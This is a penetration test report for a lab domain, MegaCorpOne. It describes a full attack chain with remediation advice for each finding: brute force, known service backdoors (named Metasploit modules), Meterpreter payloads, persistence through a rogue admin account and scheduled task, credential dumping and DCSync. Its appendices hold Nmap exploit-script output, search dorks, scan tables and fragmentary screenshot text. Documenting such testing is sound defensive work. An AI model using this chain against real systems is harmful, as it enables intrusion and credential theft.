

Cybersecurity

Penetration Test Report

MegaCorpOne

Penetration Test Report

CK Security Solutions

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Document History

Version	Date	Author(s)	Comments
001	15/12/2024	Courtney Kimble	

Introduction

In accordance with MegaCorpOne's policies, CK Security Solutions (henceforth known as CKSS) conducts external and internal penetration tests of its networks and systems throughout the year. The purpose of this engagement was to assess the networks' and systems' security and identify potential security flaws by utilizing industry-accepted testing methodology and best practices. The project was conducted on a number of systems on MegaCorpOne's network segments by CKSS during December 2024.

For the testing, CKSS focused on the following:

- Attempting to determine what system-level vulnerabilities could be discovered and exploited with no prior knowledge of the environment or notification to administrators.
- Attempting to exploit vulnerabilities found and access confidential information that may be stored on systems.
- Documenting and reporting on all findings.

All tests took into consideration the actual business processes implemented by the systems and their potential threats; therefore, the results of this assessment reflect a realistic picture of the actual exposure levels to online hackers. This document contains the results of that assessment.

Assessment Objective

The primary goal of this assessment was to provide an analysis of security flaws present in MegaCorpOne's web applications, networks, and systems. This assessment was conducted to identify exploitable vulnerabilities and provide actionable recommendations on how to remediate the vulnerabilities to provide a greater level of security for the environment.

CKSS used its proven vulnerability testing methodology to assess all relevant web applications, networks, and systems in scope.

MegaCorpOne has outlined the following objectives:

Table 1: Defined Objectives

Objective					
Find and exfiltrate any sensitive information within the domain.					
Escalate privileges to domain administrator.					
Compromise at least two machines.					

Penetration Testing Methodology

Reconnaissance

CKSS begins assessments by checking for any passive (open source) data that may assist the assessors with their tasks. If internal, the assessment team will perform active recon using tools such as Nmap and Bloodhound.

Identification of Vulnerabilities and Services

CKSS uses custom, private, and public tools such as Metasploit, hashcat, and Nmap to gain perspective of the network security from a hacker's point of view. These methods provide MegaCorpOne with an understanding of the risks that threaten its information, and also the strengths and weaknesses of the current controls protecting those systems. The results were achieved by mapping the network architecture, identifying hosts and services, enumerating network and system-level vulnerabilities, attempting to discover unexpected hosts within the environment, and eliminating false positives that might have arisen from scanning.

Vulnerability Exploitation

CKSS's normal process is to both manually test each identified vulnerability and use automated tools to exploit these issues. Exploitation of a vulnerability is defined as any action we perform that gives us unauthorized access to the system or the sensitive data.

Reporting

Once exploitation is completed and the assessors have completed their objectives, or have done everything possible within the allotted time, the assessment team writes the report, which is the final deliverable to the customer.

Scope

Prior to any assessment activities, MegaCorpOne and the assessment team will identify targeted systems with a defined range or list of network IP addresses. The assessment team will work directly with the MegaCorpOne POC to determine which network ranges are in-scope for the scheduled assessment.

It is MegaCorpOne's responsibility to ensure that IP addresses identified as in-scope are actually controlled by MegaCorpOne and are hosted in MegaCorpOne-owned facilities (i.e., are not hosted by an external organization). In-scope and excluded IP addresses and ranges are listed below.

IP Address/URL	Description
172.22.117.0/24 MCO.local *.Megacorpone.com	MegaCorpOne internal domain, range and public website

Executive Summary of Findings

Grading Methodology

Each finding was classified according to its severity, reflecting the risk each such vulnerability may pose to the business processes implemented by the application, based on the following criteria:

Critical:	Immediate threat to key business processes.
High:	Indirect threat to key business processes/threat to secondary business processes.
Medium:	Indirect or partial threat to business processes.
Low:	No direct threat exists; vulnerability may be leveraged with other vulnerabilities.
Informational:	No threat; however, it is data that may be used in a future attack.

As the following grid shows, each threat is assessed in terms of both its potential impact on the business and the likelihood of exploitation:



Summary of Strengths

While the assessment team was successful in finding several vulnerabilities, the team also recognized several strengths within MegaCorpOne's environment. These positives highlight the effective countermeasures and defenses that successfully prevented, detected, or denied an attack technique or tactic from occurring.

Samba Services:

• Three exploits were run on Samba services unsuccessfully. These failed exploit attempts show that **Samba** services (especially **Samba smbd 3.0.20-Debian**) were resilient to the attempted attacks, further indicating the presence of solid defenses or proper patch management in place on the target system.

Password Cracking:

• There is indication that some users have implemented strong, complex passwords that resisted cracking attempts, demonstrating good password hygiene in part of the user base.

Summary of Weaknesses

CKSS successfully found several critical vulnerabilities that should be immediately addressed in order to prevent an adversary from compromising the network. These findings are not specific to a software version but are more general and systemic vulnerabilities.

1. Exposed Services and Open Ports:

Several open ports, including **FTP (port 21)**, **SSH (port 22)**, **Telnet (port 23)**, **bindshell (port 1524)**, were identified, with vulnerabilities that could allow unauthorized access to sensitive data or services. These services were either unpatched or improperly configured, leaving the network susceptible to exploitation.

2. Weak Authentication and Password Management:

Although some users employed strong passwords, others had weak, easily guessable credentials, which led to successful exploitation using **brute force** and **password spraying** techniques. This weakness highlights the need for stronger password policies and multi-factor authentication (MFA) across critical systems.

3. Privilege Escalation and Lateral Movement:

The exploitation of misconfigurations and weak user management enabled privilege escalation to **root** access and lateral movement across the network. This was particularly concerning on the **Domain Controller (DC)**, where **DCSync** attacks allowed the dumping of sensitive password hashes from the **NTDS.dit** file, which could have led to complete domain compromise.

4. Lack of Network Segmentation and Access Controls:

The ability to easily move laterally across the network, including to critical infrastructure such as the **Domain Controller**, indicates insufficient network segmentation and lack of proper access controls. This allows attackers to access valuable resources once an initial foothold is obtained.

Executive Summary

CKSS security assessment of **megacorpone.com** revealed several critical vulnerabilities that put the company's network at high risk of a data breach or full compromise. These findings highlight the four main systemic weaknesses that need urgent remediation to prevent exploitation.

- 1. Exposed Services and Open Ports
- 2. Weak Authentication and Password Management
- 3. Privilege Escalation and Lateral Movement
- 4. Lack of Network Segmentation and Access Controls

CKSS completed a number of different attacks during the engagement. Listed below are the high level test outcomes of each phase of the assessment.

Reconnaissance Phase (OSINT):

- Utilized **Google Hacking** to identify employee email addresses and names, which provided insight into the organization's email naming conventions. (Appendix: RECO-OSINT-002)
- Discovered a hidden web page containing critical data through **Google Hacking**. (Appendix: RECO-OSINT-002)
- Found that the web server running on <u>www.megacorpone.com</u> is Apache/2.4.6 (Debian) on Port 443, giving us a starting point for further reconnaissance. (Appendix: RECO-OSINT-002)

Scanning Phase

- Conducted **Active Scanning** using **NSLOOKUP** and identified the IP address of the domain, along with critical server information such as the SSH version, web server version, and CVE vulnerabilities. (Appendix: RECO-OSINT-002)
- Used **Recon-ng** to discover 108 hosts that are publicly accessible, revealing a broad attack surface for potential exploitation. (Appendix: SCAN-OSINT-005)
- Detected an open FTP port (Port 21) vulnerable to an **FTP vsftpd backdoor** attack using **Zenmap**.
- Scanned the network using **Nmap** and identified two Windows machines, one of which is the Domain Controller running Kerberos on Port 88.

Exploitation Phase

- Performed **Brute Force** attacks using **nginx** and successfully logged into the VPN domain, allowing further exploitation.
- Used **Searchsploit** to exploit a **Public-Facing Application**, gaining unauthorized access to the target system as root.
- Leveraged Metasploit to successfully gain root access to the system via multiple exploits.
- Escalated privileges using **Metasploit** after discovering admin passwords stored in plain text within a file.
- Exploited weak passwords using **Metasploit**'s **Password Spraying** technique, gaining access to one of the Windows machines.
- Conducted LLMNR Spoofing to capture password hashes and cracked them
- Executed WMI commands remotely to gather system information using Metasploit.
- Used **MSFVenom** to create a payload, transfer it, and execute it on the target machine, accessing the **Meterpreter shell** with previously captured credentials.
- Moved laterally across the network using additional credentials to access the Domain Controller.
- Performed a **DCSync** attack on the Domain Controller to copy the **NTDS.dit** file and attempt cracking the password hashes in it.

Post-Exploitation Phase:

- Escalated privileges to system level by creating a service to run a malicious payload, ensuring stealth.
- Cracked password hashes from the /etc/shadow gaining further access to the system.
- Dumped cached credentials from the target machine using **Metasploit_Kiwi** and cracked the hashes.
- Implemented **Persistence** by modifying the **SSH config file**, creating a new user with admin access, and successfully logging into the target machine using this account.
- Maintained **Persistence** by scheduling a task to execute a custom **Meterpreter** payload daily.

Security Posture and Impact:

The current security posture of megacorpone.com is concerning. Critical vulnerabilities across multiple layers of the network expose the company to severe risk. Without immediate intervention, the company is at risk of significant financial loss, data theft, and the potential takeover of its IT infrastructure. The ease with which attackers can move laterally through the network further emphasizes the lack of adequate defensive controls.

Remediation and Cost:

To address these issues, we recommend in the following order:

- 1. Patching vulnerable services and closing exposed ports.
- 2. Enforcing stronger password policies and enabling MFA across all critical systems.
- 3. Enhancing network segmentation and access controls to limit lateral movement.
- 4. Regular vulnerability assessments to identify and address future risks.

The estimated cost of remediation is between \$50,000 and \$100,000, depending on the scope of work required. This investment is essential to improving the company's overall security posture and preventing a potentially catastrophic attack.

Conclusion:

megacorpone.com's security posture is currently insufficient to withstand a determined cyberattack. Immediate action is required to fix the identified vulnerabilities and protect the organization's critical assets. Proactively addressing these weaknesses will significantly reduce the risk of a breach and strengthen the company's overall security defenses.

Summary Vulnerability Overview

Vulnerability	Severity
Lack of Account Lockout on VPN Service	Critical
Misconfigured FTP Service	High
Unpatched Public-Facing Application	Critical
Exposed Telnet Service	Critical
Misconfigured Distcc Service	Critical
Plaintext Admin Credentials	Critical
Unauthorized SSH Configuration Changes	High
Exposed Domain Controller with Open Kerberos Port	Medium
Weak Password Policy	High
Insufficient LLMNR Protections	High
Misconfigured WMI Services	High
Insecure WMI and SMB Configurations	Critical
Privilege Escalation Enabling Unauthorized Task Scheduling	Critical
Cached Credentials Vulnerability	High
Weak Credential Protections	Critical

The following summary tables represent an overview of the assessment findings for this penetration test:

Scan Type	Total				
Hosts	Linux: 172.22.117.150 Windows 10: 172.22.117.20 WinDC10: 172.22.117.10				
Ports	Using Nmap, we scanned 1,000 TCP ports on the target hosts. Please see Appendix SCAN-ACTIVESCANNING-008 & RECO-ACTIVESCANNING-015 for list of open ports across the hosts				

Exploitation Risk	Total
Critical	9
High	6
Medium	1
Low	0

Vulnerability Findings

Lack of Account Lockout on VPN Service

Appendix: EXPL-BRUTEFORCE-007

Risk Rating: Critical

Description:

A brute force attack was conducted on the VPN service hosted behind an nginx web server. The pentester successfully guessed valid credentials, enabling unauthorized access to the VPN domain. After gaining access, a file was uploaded to the website, which contained a shell script. Executing the script allowed the pentester to establish a shell, verifying the validity of the compromised credentials and demonstrating a complete compromise of the system.

Affected Hosts:

Domain: vpn.megacorpone.com

Remediation:

- Enforce strong password policies requiring complexity and regular changes.
- Implement account lockout mechanisms after a defined number of failed login attempts.
- Enable multi-factor authentication (MFA) for VPN and web-based logins.
- Monitor logs for suspicious login attempts and brute force activities.
- Regularly test for weak password vulnerabilities and ensure employees are educated about strong password practices.

Misconfigured FTP Service

Appendix: SCAN-ACTIVESCANNING-008

Risk Rating: High

Description: An active scan using Zenmap identified 23 open ports on the target host. Among these, port 21/tcp was found to be running a vulnerable version of the FTP service (vsftpd). This version is known to contain a backdoor vulnerability, which could allow an attacker to execute arbitrary commands or gain unauthorized access to the system.

Affected Hosts:

Domain: megacorpone.com Host IP Address: 172.22.117.150

- Update the FTP service to the latest secure version.
- Disable or restrict FTP access if not required.
- Monitor and log FTP activity for any suspicious connections or behavior.
- Implement additional network controls to restrict access to port 21/tcp to trusted IPs.

Unpatched Public-Facing Application

Appendix: EXPL-EXPLOITPUBLIC-FACINGAPP-009

Risk Rating: Critical

Description: Using the exploit unix/irc/unreal_ircd_3281_backdoor identified via Searchsploit, a known backdoor vulnerability in the unrealIRCd service was exploited. The pentester successfully gained unauthorized root-level access to the target system by opening a shell on the host. This vulnerability allowed full control over the system, enabling the attacker to potentially exfiltrate sensitive data, escalate attacks within the network, or compromise the availability and integrity of the affected system.

Affected Hosts: Domain: megacorpone.com Host IP Address: 172.22.117.150 Port: 6667 Service Name: irc Service Version: unrealIRCd

Remediation:

- Immediately patch or update the unrealIRCd service to the latest secure version.
- Disable or remove any unused services, particularly IRC services if they are not business-critical.
- Limit access to the affected service by applying firewall rules or restricting access to trusted IP addresses.
- Monitor and log all activity on the affected port (6667) to detect any additional exploitation attempts.

Exposed Telnet Service

Appendix: EXPL-EXPLOITPUBLIC-FACINGAPP-009

Risk Rating: Critical

Description: The pentester exploited an exposed Telnet service running on port 1524 that provided a root-level bind shell. This vulnerability allows an attacker to gain immediate root access without authentication, leading to complete system compromise.

Affected Hosts:

Domain: megacorpone.com Host IP Address: 172.22.117.150 Port: 1524 Service Name: bindshell Service Version: metasploitable root shell

- Immediately disable the Telnet service on port 1524.
- Replace Telnet with a more secure protocol, such as SSH, and restrict access to authorized users only.

Misconfigured Distcc Service

Appendix: EXPL-EXPLOITPUBLIC-FACINGAPP-010

Risk Rating: Critical

Description: The pentester exploited a vulnerability in the distccd service using the exploit unix/misc/distcc_exec. This exploit allowed remote code execution on the target host without authentication. The vulnerability provided the pentester with unauthorized access and the ability to execute arbitrary commands, compromising the system's security and potentially leading to further network exploitation.

Affected Hosts:

Domain: megacorpone.com Host IP Address: 172.22.117.150 Port: 59517 Service Name: distccd

Remediation:

- Disable the distccd service if it is not required.
- If the service is needed, restrict its access to trusted IP ranges using firewall rules.
- Upgrade distccd to a secure version that addresses this vulnerability.
- Monitor logs for unusual activity on port 59517 and other suspicious behavior.

Plaintext Admin Credentials

Appendix: EXPL-PRIVESC-011

Risk Rating: Critical

Description: The pentester identified a file named passwords.txt on the target system, which contained the admin password stored in plaintext. Using the credentials from this file, the pentester successfully authenticated via SSH to the server and escalated privileges to root. With root access to the target system, the pentester was able to access and exfiltrate the /etc/shadow file, which contains hashed passwords for all system users. Using the password-cracking tool **John the Ripper**, the pentester successfully cracked the hashes to reveal plaintext passwords for multiple user accounts.

Affected Hosts:

Domain: megacorpone.com Host IP Address: 172.22.117.150 Service Name: SSH

- Remove all plaintext password files from the server, especially passwords.txt.
- Enforce strong password policies and change all affected credentials immediately.
- Ensure proper access controls on sensitive files such as /etc/shadow, restricting access to authorized users only.
- Use strong password hashing algorithms to protect password hashes.
- Enforce strong password policies, requiring complexity and regular updates.
- Implement multi-factor authentication (MFA) to protect accounts even if passwords are compromised.

Unauthorized SSH Configuration Changes

Appendix: POST-PERSISTANCE-013

Risk Rating: High

Description: After gaining root access to the target system, the pentester modified the SSH configuration to open an additional port, creating a backdoor for persistent access. A new user with administrative privileges was created, and the pentester was able to successfully SSH into the machine using this new account. This method of establishing persistence allows the attacker to maintain access to the system even if initial exploits are detected or remediated.

Affected Hosts:

Domain: megacorpone.com Host IP Address: 172.22.117.150 Service Name: SSH

Remediation:

- Immediately disable or remove the unauthorized SSH port and configuration changes.
- Delete any unauthorized users created during the attack, and audit user accounts to ensure there are no other backdoor accounts.
- Implement strong access controls and use public key authentication to secure SSH access.
- Regularly audit SSH configuration files for unauthorized changes and ensure that only necessary ports are open.
- Enable monitoring to detect unusual login activities and establish alerts for new user creations or privilege escalations

Exposed Domain Controller with Open Kerberos Port

Appendix: RECO-ACTIVESCANNING-015

Risk Rating: Medium

Description: During the active scanning phase using Nmap, two Windows machines were identified on the network. Port 88/tcp, typically associated with Kerberos authentication, was found to be open on one of the machines, indicating that it is likely acting as a Domain Controller (DC). The presence of an open Kerberos port suggests that the machine is handling authentication for the domain, which could be targeted in further attacks to escalate privileges or gain unauthorized access to sensitive resources.

Affected Hosts:

Domain: megacorpone.com Host IP Address: 172.22.117.10

- Monitor and secure the Domain Controller to prevent unauthorized access.
- Ensure that Kerberos is configured securely and that all authentication traffic is encrypted.
- Restrict access to the DC by limiting network access to trusted IPs only, especially for sensitive services like Kerberos.
- Regularly audit network traffic to detect any unusual activity targeting the DC.
- Implement strong access controls and authentication policies for domain accounts.

Weak Password Policy

Appendix: EXPL-PASSWORDSPRAYING-016

Risk Rating: High

Description: A password spraying attack was conducted using previously captured credentials, allowing the pentester to successfully gain access to one of the Windows machines on the network. This attack technique involved attempting to login to multiple accounts using a small set of commonly used passwords, bypassing traditional account lockout mechanisms. Once access was obtained, the attacker gained unauthorized access to the system, which could potentially lead to further network compromise or lateral movement.

Affected Hosts:

Domain: megacorpone.com Host IP Address: 172.22.117.20

Remediation:

- Enforce account lockout policies after a defined number of failed login attempts to mitigate password spraying risks.
- Implement multi-factor authentication (MFA) to make it more difficult for attackers to exploit stolen credentials.
- Educate users on strong password policies and require complex, unique passwords for all accounts.
- Regularly audit account activity and logins to detect unusual access patterns or failed login attempts.

Insufficient LLMNR Protections

Appendix: EXPL-LLMNRSPOOFING-017

Risk Rating: High

Description: A Local Link Multicast Name Resolution (LLMNR) spoofing attack was executed using **Responder** to capture the password hash of a user. By poisoning the network with falsified responses, the pentester was able to intercept the authentication request and capture the password hash. The hash was then cracked using **John the Ripper**, revealing the user's plaintext password and compromising the account.

Affected Hosts:

Domain: megacorpone.com Host IP Address: 172.22.117.20

- Disable LLMNR if not required, as these protocols are often used in internal network attacks.
- Use secure DNS configurations to prevent name resolution vulnerabilities.
- Implement stronger password policies, requiring users to set complex passwords that are harder to crack.
- Use SMB signing and encrypted protocols for internal authentication to prevent man-in-the-middle attacks.

Misconfigured WMI Services

Appendix: EXPL-WMI-018

Risk Rating: High

Description: The pentester exploited Windows Management Instrumentation (WMI) to execute remote commands on the target system. Using **Metasploit**, the attacker was able to run various WMI commands such as systeminfo, net session, net share, tasklist, and whoami to gather sensitive system information. These commands revealed valuable data, including active sessions, shared resources, running processes, and system configuration details, which could aid in further exploitation or lateral movement across the network. This attack demonstrates the potential misuse of WMI for remote administration and information gathering.

Affected Hosts:

Domain: megacorpone.com Host IP Address: 172.22.117.20

Remediation:

- Disable or restrict access to WMI if not needed for legitimate administrative purposes.
- Use proper network segmentation to limit WMI access to authorized administrative hosts only.
- Monitor and log WMI activity to detect any suspicious or unauthorized command executions.
- Implement least privilege principles to restrict user accounts from executing WMI commands or accessing sensitive system information.

Insecure WMI & SMB Configurations

Appendix: EXPL-MSFVENOM-019

Risk Rating: Critical

Description: The pentester used **MSFVenom** to create a malicious payload, which was then transferred and executed on the target machine. Upon execution, the payload successfully established a **Meterpreter** session, allowing the pentester to gain interactive access to the system. The attacker was able to leverage previously captured credentials to authenticate and access the Meterpreter shell, granting full control over the compromised machine. This vulnerability exposes the system to remote command execution and unauthorized access.

Affected Hosts:

Domain: megacorpone.com Host IP Address: 172.22.117.20

- Implement endpoint protection solutions, including antivirus and anti-malware, to detect and block malicious payloads.
- Regularly update systems with security patches to address known vulnerabilities.
- Use strong authentication mechanisms such as multi-factor authentication (MFA) to protect user credentials.
- Monitor and log all executable file transfers and network traffic for signs of malicious payloads.
- Disable unused ports and services to reduce the attack surface for remote code execution.

Privilege Escalation Enabling Unauthorized Task Scheduling

Appendix: POST-PRIVESC-020

Risk Rating: Critical

Description: After successfully gaining access to the target system, the pentester escalated privileges to a system user. With elevated privileges, the attacker created a malicious service to run a payload on the system. To evade detection, the pentester migrated the executable to a stealthy payload name, making it harder for security monitoring tools to detect the attack. Additionally, the attacker scheduled a recurring task to execute a custom **Meterpreter** payload daily, ensuring persistence on the compromised system. These actions allow the attacker to maintain control over the system even after rebooting or mitigating the initial exploit, increasing the risk of long-term unauthorized access. This form of privilege escalation and persistence could provide ongoing access to the system, enabling further exploitation and lateral movement.

Affected Hosts:

Domain: megacorpone.com | Host IP Address: 172.22.117.20

Remediation:

- Implement strict access controls to limit the creation of services and scheduled tasks to authorized administrators only.
- Use endpoint detection and response (EDR) tools to monitor for suspicious or unauthorized services and tasks.
- Regularly audit system services and scheduled tasks to identify any unauthorized changes or entries.
- Apply the principle of least privilege to ensure that only necessary accounts have elevated system-level permissions.
- Ensure system integrity by implementing file integrity monitoring and scanning tools to detect and block malicious payloads.

Cached Credentials Vulnerability

Appendix: POST-PRIVESC-020

Risk Rating: High

Description: The pentester used **Metasploit_Kiwi** to dump the cached credentials from the target machine. By leveraging the tool, the attacker was able to extract credential hashes stored on the system, which are often used to authenticate users without requiring re-entry of passwords. These dumped hashes were then cracked using **John the Ripper**, revealing the plaintext passwords of users on the system. This allows for potential lateral movement or escalation of privileges within the network, making it easier for the attacker to compromise additional systems.

Affected Hosts:

Domain: megacorpone.com | Host IP Address: 172.22.117.20

- Limit or disable the caching of credentials on local systems where possible, especially on high-value assets like Domain Controllers.
- Require MFA for all accounts, especially privileged ones, to reduce the impact of compromised credentials.
- Use a SIEM solution to detect anomalous activity related to credential dumping tools, such as unauthorized access to NTDS.dit files.

Weak Credential Protections

Appendix: POST-DCSYNC-024

Risk Rating: Critical

Description: The pentester first used **Metasploit_Meterpreter** to move laterally across the network by leveraging additional credentials found during the exploit phase. The attacker successfully navigated to the **Domain Controller (DC)** machine, further compromising the network. Once on the DC, the pentester escalated privileges to **SYSTEM** and employed the **DCSync** attack to request a copy of the **NTDS.dit** file, which contains password hashes for domain accounts. After obtaining the file, the attacker attempted to crack the password hashes to gain access to privileged domain accounts. This series of actions allows for deepening the compromise of the network and gaining control over critical infrastructure, such as the domain controller.

Affected Hosts:

Domain: megacorpone.com Host IP Address: 172.22.117.10

- Implement network segmentation and strict access controls to limit lateral movement and restrict access to domain controllers.
- Enforce the principle of least privilege for user and service accounts, ensuring minimal access to critical infrastructure.
- Use strong, unique passwords and consider implementing **MFA** for domain administrator accounts to prevent credential theft.
- Regularly monitor domain controller activity for signs of suspicious access or unauthorized credential access attempts.
- Employ advanced monitoring tools to detect and block **DCSync** attacks and ensure proper security configurations for Active Directory.
- Encrypt sensitive data, including password hashes, to prevent unauthorized access and exfiltration.

MITRE ATT&CK Navigator Map



The following completed MITRE ATT&CK navigator map shows all of the techniques and tactics that CKSS used throughout the assessment.

Legend:

Performed successfully Failure to perform

Appendix

RECO-OSINT-002

MEET OUR TEAM





Twitter: @Tor



мсо



MegaCorp One

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IP: 149.56.244.87

- 1. What ports are open? 22 / 80 / 443
- 2. What version of SSH is the server running? SSH-2.0-OpenSSH_9.2p1
- 3. What OS is the server? Debian-2+deb12u3
- 4. What is the version of the web server running? Apache httpd2.4.62
- 5. Which vulnerabilities may be present on the server? (CVE numbers are fine.)

iii 2020

CVE-2020-11023

CVE-2020-11022

2019

CVE-2019-11358

site:megacorpone.com ext:txt

https://www.megacorpone.com/robots.txt

Auto~

0

```
User-agent: *
Allow: /
Allow: /nanites.php
```

https://www.megacorpone.com/nanites.php

Current Nanite Levels (ppm) in Rachel, NV

2.9 2 0.3 1.5 0.1 1 1.5 1.7 2.5 0.2 2.5 1.2 2.7 0.2 1.8 2.9 2.9 0.1 1.1 1.1 1.8 Last sample collected: 2024-11-26

SCAN-OSINT-005

MagaCornOna		www.recon-ng.co
Megacorpone		
MegaCorpOne Recon-ng Reconnaissan	ce Report	
[-] Summary		
	table count	
	domains 0	
	companies 0	
	netblocks 0	
	locations 0	
	vulnerabilities 0	
	ports 0	
	hosts 108	
	contacts 0	
	credentials 0	
	leaks 0	
	pushpins 0	
	profiles 0	
	repositories 0	

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host	ip_address	region	country	latitude	longitude	notes	module
ace.securityawareness.sans.org	3.87.232.108	_	-	-	-		hackertarget
admin.labs.sans.org	45.60.31.34						hackertarget
admin.megacorpone.com	51.222.169.208						hackertarget
admin.sans.org	45.60.31.34						hackertarget
alerts.odin.devlabs.sans.org	3.238.63.67						hackertarget
alerts.odin.labs.sans.org	44.204.94.156						hackertarget
api.develop.securityawareness.sans.org	13.227.74.113						hackertarget
api.eu-central-1.develop.securityawareness.sans.org	18.239.199.68						hackertarget
api.eu-central-1.sandbox.securityawareness.sans.org	18.238.192.50						hackertarget
api.odin.devlabs.sans.org	18.233.157.131						hackertarget
api.odin.labs.sans.org	44.204.94.156						hackertarget
api.sandbox.devhq.sans.org	54.88.3.165						hackertarget
api.sandbox.securityawareness.sans.org	13.227.74.111						hackertarget
api.securityawareness.sans.org	108.138.246.14						hackertarget
beta.megacorpone.com	51.222.169.209						hackertarget
brochure.sans.org	18.173.132.45						hackertarget
c.den-1a.vpn.sans.org	66.35.60.249						hackertarget
cheatsheets.tbt570.sans.org	35.226.225.220						hackertarget
click.email.sans.org	136.147.189.155						hackertarget
connect.labs.sans.org	45.60.31.34						hackertarget
cyber-defense.sans.org	45.60.31.34						hackertarget
dashboards.odin.devlabs.sans.org	3.238.63.67						hackertarget
dashboards.odin.labs.sans.org	44.204.94.156						hackertarget
defiant.sans.org	44.204.94.156 208.255.174.6						
	208.255.174.6 52.72.254.13						hackertarget
dev-security-awareness.sans.org							hackertarget
develop.devhq.sans.org	184.72.227.182						hackertarget
devlabs.sans.org	204.51.94.233						hackertarget
digital-forensics.sans.org	45.60.31.34						hackertarget
dns21a.sans.org	66.35.59.7						hackertarget
email.sans.org	136.147.129.27						hackertarget
ep.sans.org	160.109.234.213						hackertarget
files.tbt570.sans.org	35.226.225.220						hackertarget
	51.222.169.210						hackertarget
fwr.odin.devlabs.sans.org	18.233.157.131						hackertarget
	52.91.129.229						hackertarget
gw1-dev-aws.sans.org	100.26.66.12						hackertarget
gw1-prod-aws.sans.org	3.233.212.116						hackertarget
gw2-dev-aws.sans.org	34.226.171.194						hackertarget
gw2-prod-aws.sans.org	34.192.32.13						hackertarget
gw3-dev-aws.sans.org	52.21.251.134						hackertarget
gw3-prod-aws.sans.org	35.171.37.63						hackertarget
phish-eu.sans.org	54.93.55.235						hackertarget
phish-eu.sans.org	54.80.160.189						hackertarget
	66.35.60.247						
poseidon.den-1a.vpn.sans.org	18.164.124.92						hackertarget hackertarget
ra-security-awareness.sans.org							
reports.develop.securityawareness.sans.org	52.85.61.112						hackertarget
reports.eu-central-1.develop.securityawareness.sans.org	13.35.93.23						hackertarget
reports.eu-central-1.sandbox.securityawareness.sans.org	13.225.214.111						hackertarget
reports.eu-central-1.securityawareness.sans.org	18.173.132.127						hackertarget
reports.securityawareness.sans.org	13.225.214.97						hackertarget
router.megacorpone.com	51.222.169.214						hackertarget
rtir.tbt570.sans.org	35.226.225.220						hackertarget
rundeck-dev.devlabs.sans.org	10.247.23.99						hackertarget
sandbox.devhq.sans.org	54.88.3.165						hackertarget
sansphishing.sans.org	54.80.160.189						hackertarget
sec699-g01-vmc-live-01.vpn.labs.sans.org	34.203.111.102						hackertarget
securingthehuman.sans.org	13.225.63.106						hackertarget
security-awareness.sans.org	18.164.124.48						hackertarget
sic.sans.org	13.225.63.106						hackertarget
siem.megacorpone.com	51.222.169.215						hackertarget
smtp-relay.sans.org	54.198.215.48						hackertarget
snmp.megacorpone.com	51.222.169.216						hackertarget
software-security.sans.org	45.60.31.34						hackertarget
stanlar edu eu control 1 de elen esculturaren esta esta est	108.138.246.85						In a strend strend st
staging-cdn.eu-central-1.develop.securityawareness.sans.org staging-cdn.eu-central-1.sandbox.securityawareness.sans.org							hackertarget
staging-cdn.eu-central-1.securityawareness.sans.org	18.173.121.76						hackertarget
stg-content.sans.org	18.164.124.92						hackertarget
stg-security-awareness.sans.org	52.72.254.13						hackertarget
support.megacorpone.com	51.222.169.218						hackertarget
syslog.megacorpone.com	51.222.169.217						hackertarget
test.megacorpone.com	51.222.169.219						hackertarget
thanos.odin.devlabs.sans.org	34.207.219.177						hackertarget
thanos.odin.labs.sans.org	52.91.129.229						hackertarget
uk.sans.org	13.225.63.42						hackertarget
view.email.sans.org	136.147.189.156						hackertarget
vpn.megacorpone.com	51.222.169.220						hackertarget
www.brochure.sans.org	18.173.132.45						hackertarget
www.megacorpone.com	149.56.244.87						hackertarget
www.sans.org	45.60.31.34						hackertarget
www2.megacorpone.com	149.56.244.87						hackertarget
z.den-1a.vpn.sans.org	66.35.60.20						hackertarget
zeus.vpn.sans.org	66.35.60.20						hackertarget

Index of /

Name Last modified Size Description index.nginx-debian.html 2022-01-04 14:25 612 password.lst 2022-01-18 22:38 26K ypn.sh 2021-06-28 15:25 1.3K

Apache/2.4.46 (Debian) Server at vpn.megacorpone.com Port 80

EXPL-BRUTEFORCE-007





SCAN-ACTIVESCANNING-008

SCAN-ACTIVESCANNING-008 Nmap_scan_report_for 172.22.117.150							
Not shown: 977 closed tcp ports (reset)							
PORT STATE SERVICE VERSION							
21/tcp open ftp vsftpd 2.3.4 ftp-vsftpd-backdoor:							
VULNERABLE:							
<pre>vsFTPd version 2.3.4 bac State: VULNERABLE (Exp</pre>							
IDs: BID:48539 CVE:C	VE-2011-25						
VSFTPd version 2.3.4 Disclosure date: 2011-		this was	report	ed on 2011	1-07-04.		
Exploit results: Shell command: id							
Results: uid=0(root)	gid=0(roo	t)					
<pre>References: https://cve.mitre.or</pre>	a/cai-bin/	cvename c	ni?name	=CVE-2011-	-2523		
https://github.com/r	apid7/meta:	sploit-fr	amework	/blob/mast	ter/modules/expl	loits/unix/ftp/ <mark>vsftpd_234_backdoor.rb</mark>	
https://www.security http://scarybeastsec				/alert-vst	ftpd-download-ba	ackdoored.html	
•			Zenmap			_ ¤ ×	
Scan Tools Profile Help							
Target: 172.22.117.150		~ Pr	ofile: Inte	ense scan		Y Scan Cancel	
Command: nmap -T4 -A -vscript ftp-vs	ftpd-backdoor,s	smb-os-disco	very,smb-s	system-info 17	2.22.117.150		
Hasta Comises	Nesse Output	Dorte / Ho	sto Tanak	ami Llast Dat	talle Ceane		
Hosts Services	Port	Protocol	State	ogy Host Det Service	Version	1	
OS Host 🗸	✓ 21	tcp	open	ftp	vsftpd 2.3.4		
172.22.117.150	✓ 22	tcp	open	ssh		n 8ubuntu1 (protocol 2.0)	
	✓ 23	tcp	open	telnet	Linux telnetd		
	✓ 25	tcp	open	smtp	Postfix smtpd		
	✓ 53	tcp	open	domain	ISC BIND 9.4.2		
	✓ 80	tcp	open	http	Apache httpd 2.2.8 ((U	lbuntu) DAV/2)	
	✓ 111	tcp	open	rpcbind	2 (RPC #100000)		
	✓ 139	tcp	open	netbios-ssn	Samba smbd 3.X - 4.X	(workgroup: WORKGROUP)	
	✓ 445	tcp	open	netbios-ssn	Samba smbd 3.0.20-D	Debian (workgroup: WORKGROUP)	
	✓ 512	tcp	open	exec	netkit-rsh rexecd		
	✓ 513	tcp	open	login		l I	
	✓ 514	tcp	open	shell	Netkit rshd		
	√ 1099	tcp	open	java-rmi	GNU Classpath grmire	egistry	
	✓ 1524	tcp	open	bindshell	Metasploitable root sl	hell	
	✓ 2049	tcp	open	nfs	2-4 (RPC #100003)		
Filter Hosts	✓ 2121	tcp	open	ftp	ProFTPD 1.3.1		
File Actions Edit View Help							
<pre>zsh: corrupt history file /ro</pre>	ot/.zsh_his	tory				Canc	
searchsploit vsftpd						Can	
Exploit Title	perstips sec	luíoon, smb	-os-disco	very surb-sy	stemanio 1/2/22	Path	
